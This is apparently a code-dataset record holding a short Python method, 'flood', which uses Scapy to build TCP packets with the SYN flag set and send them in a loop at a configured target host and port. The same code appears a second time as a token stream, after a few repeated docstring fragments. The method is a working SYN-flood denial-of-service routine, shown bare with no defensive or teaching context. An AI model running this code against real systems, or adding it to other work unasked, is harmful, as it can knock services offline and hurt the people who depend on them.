(self)
Send packets
Send packets
Send packets
def flood(self):
        """ Send packets
        """
        pkt = IP(dst=self.config['target'].value)
        pkt /= TCP(dport=self.config['port'].value,
                                                    window=1000, flags='S')
        cnt = 0
        while self.running:
            if self.config['count'].value > 0 and \
                cnt >= self.config['count'].value:
                break

            send(pkt)
            cnt += 1
        self.shutdown()
def flood ( self ) : pkt = IP ( dst = self . config [ 'target' ] . value ) pkt /= TCP ( dport = self . config [ 'port' ] . value , window = 1000 , flags = 'S' ) cnt = 0 while self . running : if self . config [ 'count' ] . value > 0 and cnt >= self . config [ 'count' ] . value : break send ( pkt ) cnt += 1 self . shutdown ( )